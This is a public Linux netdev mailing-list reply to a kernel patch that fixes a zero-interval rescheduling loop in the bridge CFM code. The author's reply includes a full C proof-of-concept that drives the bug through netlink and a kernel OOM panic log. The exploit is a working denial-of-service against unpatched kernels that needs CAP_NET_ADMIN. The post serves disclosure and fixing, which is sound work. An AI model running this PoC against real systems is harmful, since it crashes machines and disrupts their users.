public inbox for netdev@vger.kernel.org
 help / color / mirror / Atom feed
From: Xiang Mei <xmei5@asu.edu>
To: netdev@vger.kernel.org
Cc: bridge@lists.linux.dev, razor@blackwall.org, idosch@nvidia.com,
	 davem@davemloft.net, edumazet@google.com, pabeni@redhat.com,
	horms@kernel.org,  bestswngs@gmail.com
Subject: Re: [PATCH net] bridge: cfm: do not reschedule TX work when interval is zero
Date: Wed, 25 Mar 2026 20:44:14 -0700	[thread overview]
Message-ID: <vr7a26jt3bhqyf4ngppqlhtyvmqm3wuoqu3gwc4ci2xjzcftpl@rrlagmmfxsri> (raw)
In-Reply-To: <20260326031957.3299500-1-xmei5@asu.edu>

On Wed, Mar 25, 2026 at 08:19:57PM -0700, Xiang Mei wrote:
> ccm_tx_work_expired() uses interval_to_us() to convert the configured
> exp_interval enum into a microsecond delay, then passes it to
> queue_delayed_work() to schedule the next iteration. The ccm_tx_dwork
> callback re-arms the same delayed_work struct at the end of each
> invocation, forming a repeating timer.
> 
> interval_to_us() returns 0 for BR_CFM_CCM_INTERVAL_NONE and any
> out-of-range enum value. When this 0 is passed to queue_delayed_work()
> as the delay, the work item fires immediately and re-arms itself with
> zero delay again, creating an infinite tight loop. Each iteration
> allocates an skb via ccm_frame_build() and queues it for transmission.
> The skbs pile up faster than the network stack can free them because the
> worker never yields the CPU, rapidly exhausting all kernel memory until
> OOM deadlock panic.
> 
> Since CC config and CCM TX are independent netlink commands that can be
> issued in any order, there is no single configuration entry point where
> rejecting interval=0 would cover all cases.
> 
> Fix this by checking the interval at the start of ccm_tx_work_expired()
> and stopping transmission immediately if it is zero. Set period to 0 so
> that br_cfm_cc_ccm_tx() correctly sees transmission as stopped and can
> restart it later if a valid interval is configured. This also avoids
> transmitting a CCM frame with an invalid interval value.
> 
> Fixes: a806ad8ee2aa ("bridge: cfm: Kernel space implementation of CFM. CCM frame TX added.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/bridge/br_cfm.c | 8 +++++++-
>  1 file changed, 7 insertions(+), 1 deletion(-)
> 
> diff --git a/net/bridge/br_cfm.c b/net/bridge/br_cfm.c
> index 118c7ea48c35..688c51250630 100644
> --- a/net/bridge/br_cfm.c
> +++ b/net/bridge/br_cfm.c
> @@ -274,6 +274,13 @@ static void ccm_tx_work_expired(struct work_struct *work)
>  	del_work = to_delayed_work(work);
>  	mep = container_of(del_work, struct br_cfm_mep, ccm_tx_dwork);
>  
> +	interval_us = interval_to_us(mep->cc_config.exp_interval);
> +	if (!interval_us) {
> +		/* No valid interval - stop transmission */
> +		mep->cc_ccm_tx_info.period = 0;
> +		return;
> +	}
> +
>  	if (time_before_eq(mep->ccm_tx_end, jiffies)) {
>  		/* Transmission period has ended */
>  		mep->cc_ccm_tx_info.period = 0;
> @@ -284,7 +291,6 @@ static void ccm_tx_work_expired(struct work_struct *work)
>  	if (skb)
>  		ccm_frame_tx(skb);
>  
> -	interval_us = interval_to_us(mep->cc_config.exp_interval);
>  	queue_delayed_work(system_percpu_wq, &mep->ccm_tx_dwork,
>  			   usecs_to_jiffies(interval_us));
>  }
> -- 
> 2.43.0
>

Thanks for your attention for this bug.

The following information could help you to reproduce the bug:

Configs:
```
CONFIG_BRIDGE_CFM=y
```

PoC Source Code:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if.h>
#include <linux/if_link.h>
#include <linux/if_bridge.h>

/* if_nametoindex without net/if.h conflict */
extern unsigned int if_nametoindex(const char *ifname);

/* CFM MAID length */
#define CFM_MAID_LENGTH 48

/* CFM enums */
#define BR_CFM_PORT 0
#define BR_CFM_MEP_DIRECTION_DOWN 0
#define BR_CFM_CCM_INTERVAL_NONE 0

/* Netlink helper macros */
#define NLMSG_TAIL(nmsg) \
    ((struct nlattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))

static int seq_num = 1;

static int addattr_l(struct nlmsghdr *n, int maxlen, int type,
                     const void *data, int alen)
{
    int len = NLA_HDRLEN + alen;
    struct nlattr *nla;

    if (NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(len) > maxlen)
        return -1;

    nla = NLMSG_TAIL(n);
    nla->nla_type = type;
    nla->nla_len = len;
    if (alen)
        memcpy((void *)nla + NLA_HDRLEN, data, alen);
    n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(len);
    return 0;
}

static int addattr32(struct nlmsghdr *n, int maxlen, int type, __u32 data)
{
    return addattr_l(n, maxlen, type, &data, sizeof(__u32));
}

static int addattr8(struct nlmsghdr *n, int maxlen, int type, __u8 data)
{
    return addattr_l(n, maxlen, type, &data, sizeof(__u8));
}

static int addattr_str(struct nlmsghdr *n, int maxlen, int type, const char *str)
{
    return addattr_l(n, maxlen, type, str, strlen(str) + 1);
}

static struct nlattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type)
{
    struct nlattr *nest = NLMSG_TAIL(n);
    addattr_l(n, maxlen, type | NLA_F_NESTED, NULL, 0);
    return nest;
}

static void addattr_nest_end(struct nlmsghdr *n, struct nlattr *nest)
{
    nest->nla_len = (void *)NLMSG_TAIL(n) - (void *)nest;
}

static int nl_fd = -1;

static int nl_open(void)
{
    int fd;
    struct sockaddr_nl sa;

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (fd < 0) {
        perror("socket(NETLINK_ROUTE)");
        return -1;
    }

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    sa.nl_pid = getpid();

    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        close(fd);
        return -1;
    }

    return fd;
}

static int nl_send_recv(int fd, struct nlmsghdr *nlh)
{
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
    struct msghdr msg = {
        .msg_name = &sa,
        .msg_namelen = sizeof(sa),
        .msg_iov = &iov,
        .msg_iovlen = 1,
    };
    char buf[16384];
    struct nlmsghdr *resp;
    int len;

    if (sendmsg(fd, &msg, 0) < 0) {
        perror("sendmsg");
        return -1;
    }

    iov.iov_base = buf;
    iov.iov_len = sizeof(buf);
    len = recvmsg(fd, &msg, 0);
    if (len < 0) {
        perror("recvmsg");
        return -1;
    }

    for (resp = (struct nlmsghdr *)buf; NLMSG_OK(resp, len);
         resp = NLMSG_NEXT(resp, len)) {
        if (resp->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = NLMSG_DATA(resp);
            if (err->error) {
                fprintf(stderr, "  netlink error: %s (%d)\n",
                        strerror(-err->error), err->error);
                return err->error;
            }
            return 0;
        }
    }

    return 0;
}

/* Create a network interface via RTM_NEWLINK */
static int create_iface(int fd, const char *name, const char *kind)
{
    char buf[4096];
    struct nlmsghdr *nlh;
    struct ifinfomsg *ifm;
    struct nlattr *linkinfo;

    memset(buf, 0, sizeof(buf));
    nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
    nlh->nlmsg_seq = seq_num++;

    ifm = NLMSG_DATA(nlh);
    ifm->ifi_family = AF_UNSPEC;

    addattr_str(nlh, sizeof(buf), IFLA_IFNAME, name);

    linkinfo = addattr_nest(nlh, sizeof(buf), IFLA_LINKINFO);
    addattr_str(nlh, sizeof(buf), IFLA_INFO_KIND, kind);
    addattr_nest_end(nlh, linkinfo);

    return nl_send_recv(fd, nlh);
}

/* Set interface up */
static int set_iface_up(int fd, int ifindex)
{
    char buf[4096];
    struct nlmsghdr *nlh;
    struct ifinfomsg *ifm;

    memset(buf, 0, sizeof(buf));
    nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq_num++;

    ifm = NLMSG_DATA(nlh);
    ifm->ifi_family = AF_UNSPEC;
    ifm->ifi_index = ifindex;
    ifm->ifi_flags = IFF_UP;
    ifm->ifi_change = IFF_UP;

    return nl_send_recv(fd, nlh);
}

/* Set master (enslave port to bridge) */
static int set_master(int fd, int slave_ifindex, int master_ifindex)
{
    char buf[4096];
    struct nlmsghdr *nlh;
    struct ifinfomsg *ifm;

    memset(buf, 0, sizeof(buf));
    nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq_num++;

    ifm = NLMSG_DATA(nlh);
    ifm->ifi_family = AF_UNSPEC;
    ifm->ifi_index = slave_ifindex;

    addattr32(nlh, sizeof(buf), IFLA_MASTER, master_ifindex);

    return nl_send_recv(fd, nlh);
}

/*
 * Send a PF_BRIDGE RTM_SETLINK with IFLA_AF_SPEC containing IFLA_BRIDGE_CFM.
 * The CFM nest contains the specific command nest with its inner attributes.
 */
static int send_cfm_cmd(int fd, int ifindex, int cfm_cmd_type,
                        void (*build_inner)(struct nlmsghdr *, int))
{
    char buf[4096];
    struct nlmsghdr *nlh;
    struct ifinfomsg *ifm;
    struct nlattr *af_spec, *cfm, *cmd;

    memset(buf, 0, sizeof(buf));
    nlh = (struct nlmsghdr *)buf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    nlh->nlmsg_type = RTM_SETLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = seq_num++;

    ifm = NLMSG_DATA(nlh);
    ifm->ifi_family = AF_BRIDGE;
    ifm->ifi_index = ifindex;

    /* IFLA_AF_SPEC nest */
    af_spec = addattr_nest(nlh, sizeof(buf), IFLA_AF_SPEC);

    /* IFLA_BRIDGE_CFM nest */
    cfm = addattr_nest(nlh, sizeof(buf), IFLA_BRIDGE_CFM);

    /* Command nest (e.g., IFLA_BRIDGE_CFM_MEP_CREATE = 1) */
    cmd = addattr_nest(nlh, sizeof(buf), cfm_cmd_type);
    build_inner(nlh, sizeof(buf));
    addattr_nest_end(nlh, cmd);

    addattr_nest_end(nlh, cfm);
    addattr_nest_end(nlh, af_spec);

    return nl_send_recv(fd, nlh);
}

static int g_port_ifindex;

static void build_mep_create(struct nlmsghdr *nlh, int maxlen)
{
    addattr32(nlh, maxlen, 1, 0);                        /* INSTANCE = 0 */
    addattr32(nlh, maxlen, 2, BR_CFM_PORT);              /* DOMAIN = PORT */
    addattr32(nlh, maxlen, 3, BR_CFM_MEP_DIRECTION_DOWN);/* DIRECTION = DOWN */
    addattr32(nlh, maxlen, 4, g_port_ifindex);           /* IFINDEX */
}

static void build_mep_config(struct nlmsghdr *nlh, int maxlen)
{
    unsigned char mac[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55};
    addattr32(nlh, maxlen, 1, 0);            /* INSTANCE = 0 */
    addattr_l(nlh, maxlen, 2, mac, 6);       /* UNICAST_MAC */
    addattr32(nlh, maxlen, 3, 0);            /* MDLEVEL = 0 */
    addattr32(nlh, maxlen, 4, 1);            /* MEPID = 1 */
}

static void build_cc_config(struct nlmsghdr *nlh, int maxlen)
{
    unsigned char maid[CFM_MAID_LENGTH] = {0};
    addattr32(nlh, maxlen, 1, 0);            /* INSTANCE = 0 */
    addattr32(nlh, maxlen, 2, 1);            /* ENABLE = 1 */
    addattr32(nlh, maxlen, 3, BR_CFM_CCM_INTERVAL_NONE); /* EXP_INTERVAL = 0 */
    addattr_l(nlh, maxlen, 4, maid, CFM_MAID_LENGTH); /* EXP_MAID */
}

static void build_ccm_tx(struct nlmsghdr *nlh, int maxlen)
{
    unsigned char dmac[6] = {0x01, 0x80, 0xc2, 0x00, 0x00, 0x30};
    addattr32(nlh, maxlen, 1, 0);            /* INSTANCE = 0 */
    addattr_l(nlh, maxlen, 2, dmac, 6);      /* DMAC */
    addattr32(nlh, maxlen, 3, 1);            /* SEQ_NO_UPDATE = 1 */
    addattr32(nlh, maxlen, 4, 300);          /* PERIOD = 300 seconds */
    addattr32(nlh, maxlen, 5, 0);            /* IF_TLV = 0 */
    addattr8(nlh, maxlen, 6, 0);             /* IF_TLV_VALUE = 0 */
    addattr32(nlh, maxlen, 7, 0);            /* PORT_TLV = 0 */
    addattr8(nlh, maxlen, 8, 0);             /* PORT_TLV_VALUE = 0 */
}

int main(void)
{
    int fd, ret;
    int br_ifindex;

    printf("[*] CFM zero-delay workqueue DoS PoC\n");

    fd = nl_open();
    if (fd < 0)
        return 1;

    /* Step 1: Create bridge */
    printf("[*] Creating bridge br0...\n");
    ret = create_iface(fd, "br0", "bridge");
    if (ret) {
        fprintf(stderr, "[-] Failed to create bridge: %d\n", ret);
        return 1;
    }

    br_ifindex = if_nametoindex("br0");
    printf("[*] br0 ifindex: %d\n", br_ifindex);

    ret = set_iface_up(fd, br_ifindex);
    if (ret) {
        fprintf(stderr, "[-] Failed to bring up bridge: %d\n", ret);
        return 1;
    }

    /* Step 2: Create dummy port and add to bridge */
    printf("[*] Creating cfmdummy0...\n");
    ret = create_iface(fd, "cfmdummy0", "dummy");
    if (ret) {
        fprintf(stderr, "[-] Failed to create dummy: %d\n", ret);
        return 1;
    }

    g_port_ifindex = if_nametoindex("cfmdummy0");
    printf("[*] dummy0 ifindex: %d\n", g_port_ifindex);

    ret = set_iface_up(fd, g_port_ifindex);
    if (ret) {
        fprintf(stderr, "[-] Failed to bring up dummy: %d\n", ret);
        return 1;
    }

    ret = set_master(fd, g_port_ifindex, br_ifindex);
    if (ret) {
        fprintf(stderr, "[-] Failed to enslave dummy to bridge: %d\n", ret);
        return 1;
    }
    printf("[+] dummy0 enslaved to br0\n");

    /* Step 3: Create CFM MEP on the port */
    printf("[*] Creating CFM MEP (instance 0) on dummy0...\n");
    ret = send_cfm_cmd(fd, g_port_ifindex, 1 /* MEP_CREATE */, build_mep_create);
    if (ret) {
        fprintf(stderr, "[-] MEP create failed: %d\n", ret);
        return 1;
    }
    printf("[+] MEP created\n");

    /* Step 4: Configure MEP */
    printf("[*] Configuring MEP...\n");
    ret = send_cfm_cmd(fd, g_port_ifindex, 3 /* MEP_CONFIG */, build_mep_config);
    if (ret) {
        fprintf(stderr, "[-] MEP config failed: %d\n", ret);
        return 1;
    }
    printf("[+] MEP configured\n");

    /* Step 5: Set CC config with exp_interval=0 and enable=1 */
    printf("[*] Setting CC config (enable=1, exp_interval=0)...\n");
    ret = send_cfm_cmd(fd, g_port_ifindex, 4 /* CC_CONFIG */, build_cc_config);
    if (ret) {
        fprintf(stderr, "[-] CC config failed: %d\n", ret);
        return 1;
    }
    printf("[+] CC config set with zero interval\n");

    /* Step 6: Start CCM transmission - triggers zero-delay loop */
    printf("[*] Starting CCM TX (period=300s) - should trigger soft lockup...\n");
    ret = send_cfm_cmd(fd, g_port_ifindex, 8 /* CC_CCM_TX */, build_ccm_tx);
    if (ret) {
        fprintf(stderr, "[-] CCM TX failed: %d\n", ret);
        return 1;
    }
    printf("[+] CCM TX started - workqueue storm active!\n");

    /* Wait for soft lockup detector */
    printf("[*] Waiting for soft lockup detection (~120 seconds for 2GB RAM)...\n");
    sleep(300);

    printf("[?] Soft lockup didn't trigger panic.\n");

    close(fd);
    return 0;
}
```

The intended crash:
```
[  120.738531] Out of memory: Killed process 142 (su) total-vm:4528kB, anon-rss:388kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:48kB oom_score_0
[  120.744053] Out of memory: Killed process 140 (su) total-vm:4508kB, anon-rss:372kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:52kB oom_score_0
[  120.745038] Out of memory: Killed process 129 (init.sh) total-vm:3992kB, anon-rss:264kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:52kB oom_s0
[  120.748590] Out of memory: Killed process 141 (bash) total-vm:3912kB, anon-rss:248kB, file-rss:4kB, shmem-rss:0kB, UID:0 pgtables:52kB oom_scor0
[  120.751573] Kernel panic - not syncing: System is deadlocked on memory
[  120.751950] CPU: 1 UID: 0 PID: 1 Comm: init Not tainted 7.0.0-rc4+ #5 PREEMPTLAZY
[  120.752360] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014
[  120.752965] Call Trace:
[  120.753112]  <TASK>
[  120.753233]  vpanic+0x694/0x780
[  120.753409]  ? __pfx_vpanic+0x10/0x10
[  120.753615]  ? __pfx__raw_spin_lock+0x10/0x10
[  120.753883]  panic+0xca/0xd0
[  120.754049]  ? __pfx_panic+0x10/0x10
[  120.754251]  ? panic_on_this_cpu+0x1a/0x40
[  120.754455]  out_of_memory+0x124e/0x1350
[  120.754649]  ? __pfx_out_of_memory+0x10/0x10
[  120.754873]  __alloc_pages_slowpath.constprop.0+0x2325/0x2dd0
[  120.755159]  ? __pfx_do_wp_page+0x10/0x10
[  120.755355]  ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10
[  120.755659]  ? __alloc_frozen_pages_noprof+0x4f8/0x800
[  120.755926]  __alloc_frozen_pages_noprof+0x4f8/0x800
[  120.756174]  ? __pfx___alloc_frozen_pages_noprof+0x10/0x10
[  120.756421]  ? alloc_pages_mpol+0x13a/0x390
[  120.756627]  ? __pfx_alloc_pages_mpol+0x10/0x10
[  120.756870]  alloc_pages_mpol+0x13a/0x390
[  120.757069]  ? __pfx_alloc_pages_mpol+0x10/0x10
[  120.757294]  ? xas_load+0x18/0x270
[  120.757464]  folio_alloc_noprof+0x16/0xd0
[  120.757651]  filemap_alloc_folio_noprof.part.0+0x1f7/0x350
[  120.757920]  ? __pfx_filemap_alloc_folio_noprof.part.0+0x10/0x10
[  120.758205]  ? page_cache_ra_unbounded+0x351/0x7b0
[  120.758442]  __filemap_get_folio_mpol+0x278/0x4f0
[  120.758684]  filemap_fault+0x10eb/0x2fc0
[  120.758894]  ? __pfx_filemap_fault+0x10/0x10
[  120.759094]  ? recalc_sigpending+0x19b/0x230
[  120.759308]  __do_fault+0xf4/0x6d0
[  120.759485]  do_fault+0x891/0x11f0
[  120.759661]  __handle_mm_fault+0x918/0x1400
[  120.759888]  ? __pfx___handle_mm_fault+0x10/0x10
[  120.760128]  ? __pfx_vma_start_read+0x10/0x10
[  120.760355]  ? __pfx_lock_vma_under_rcu+0x10/0x10
[  120.760590]  handle_mm_fault+0x464/0xc70
[  120.760808]  do_user_addr_fault+0x27b/0xbb0
[  120.761010]  exc_page_fault+0x6b/0xe0
[  120.761193]  asm_exc_page_fault+0x26/0x30
[  120.761388] RIP: 0033:0x59a222f19c30
[  120.761569] Code: Unable to access opcode bytes at 0x59a222f19c06.
[  120.761907] RSP: 002b:00007fff94c6c9b8 EFLAGS: 00010246
[  120.762192] RAX: 0000000000000000 RBX: 000059a222f28b28 RCX: 00007d9b763dfdba
[  120.762532] RDX: 00007fff94c6c9c0 RSI: 00007fff94c6caf0 RDI: 0000000000000011
[  120.762874] RBP: 00007fff94c6d6d0 R08: 0000000000000000 R09: 00007d9b764ed580
[  120.763213] R10: 0000000000000000 R11: 0000000000000246 R12: 000059a222f28b90
[  120.763559] R13: 0000000000000001 R14: 0000000000000000 R15: 00007fff94c6d6cc
[  120.763915]  </TASK>
```

This bug is a DoS bug requiring ns_capable(CAP_NET_ADMIN).
Please let me know if you have any questions for the patch and poc.

Thanks,
Xiang

      reply	other threads:[~2026-03-26  3:44 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-03-26  3:19 [PATCH net] bridge: cfm: do not reschedule TX work when interval is zero Xiang Mei
2026-03-26  3:44 ` Xiang Mei [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=vr7a26jt3bhqyf4ngppqlhtyvmqm3wuoqu3gwc4ci2xjzcftpl@rrlagmmfxsri \
    --to=xmei5@asu.edu \
    --cc=bestswngs@gmail.com \
    --cc=bridge@lists.linux.dev \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=idosch@nvidia.com \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=razor@blackwall.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox